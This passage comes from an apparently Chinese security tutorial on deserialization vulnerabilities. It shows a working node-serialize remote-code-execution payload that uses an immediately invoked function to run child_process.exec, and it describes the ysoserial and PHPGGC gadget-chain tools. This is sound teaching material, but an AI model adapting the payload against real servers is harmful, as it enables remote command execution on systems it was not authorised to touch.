因此序列化时被解析执行的代码是 os.system(“/usr/bin/id”)

执行:

JavaScript

JavaScript本身并没有反序列化的实现,但是一些库如node-serialize、serialize-to-js等支持了反序列化功能。这些库通常使用JSON形式来存储数据,但是和原生函数JSON.parse、 JSON.stringify不同,这些库支持任何对象的反序列化,特别是函数,如果使用不当,则可能会出现反序列化问题。

Node.js 反序列化漏洞

Payload构造

下面是一个最简单的例子,首先获得序列化后的输出

var y = {
rce : function(){
require(‘child_process’).exec(‘ls /‘, function(error, stdout, stderr) { console.log(stdout) });
},
}
var serialize = require(‘node-serialize’);
console.log(“Serialized: \n” + serialize.serialize(y));

上面执行后会返回

{“rce”:”_ND_FUNC_function (){require(‘child_process’).exec(‘ls /‘, function(error, stdout, stderr) { console.log(stdout) });}”}

不过这段payload反序列化后并不会执行,但是在JS中支持立即调用的函数表达式(Immediately Invoked Function Expression),比如 (function () { / code / } ()); 这样就会执行函数中的代码。

那么可以使用这种方法修改序列化后的字符串来完成一次反序列化。

最后的payload测试如下:

var serialize = require(‘node-serialize’);
var payload = ‘{“rce”:”_ND_FUNC_function (){require(\’child_process\’).exec(\’ls /\’, function(error, stdout, stderr) { console.log(stdout) });}()”}’;
serialize.unserialize(payload);

在实际场景中,node-serialize等库的应用其实是很少的,并且执行命令需要内部实现,所以该漏洞的影响不大。

 

利用工具

Ysoserial

ysoserial是一个”gadget chains (利用链)”的集合工具,主要面向java应用/环境,在合适的条件下,可以利用Java应用程序对对象进行不安全的反序列化。

主驱动程序将用户指定的命令,用用户指定的gadget chains包装起来,然后将这些对象序列化到stdout。

当一个在classpath上具有所需gadget 的应用程序不安全地反序列化这些数据时,chains将自动被调用,并导致命令在应用程序主机上执行。

Ysoserial最初包含Apache Commons Collections (3.x and 4.x)、Spring Beans/Core (4.x)和Groovy (2.3.x)的gadget chains。后来又更新了,加入了JRE <= 1.7u21和其他一些库的gadget chains。

PHPGGC

PHPGGC 是一款能够自动生成主流框架的序列化测试payload的工具,类似 Java 中的 ysoserial, 当前支持的框架包括CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, WordPress, Yii和ZendFramework,可以说是反序列化的武器库。

 

参考

php-unserialize-初识(http://r6d.cn/MfKk)

不安全的反序列化(http://r6d.cn/MfK4)

PHP反序列化入门之寻找POP链(http://r6d.cn/MfJY)

JAVA反射机制(http://r6d.cn/MfLb)

深入理解 JAVA 反序列化漏洞(https://paper.seebug.org/312/)

PHPGGC: PHP Generic Gadget Chain(http://r6d.cn/MfKV)

官方公众号:掌控安全EDU

(完)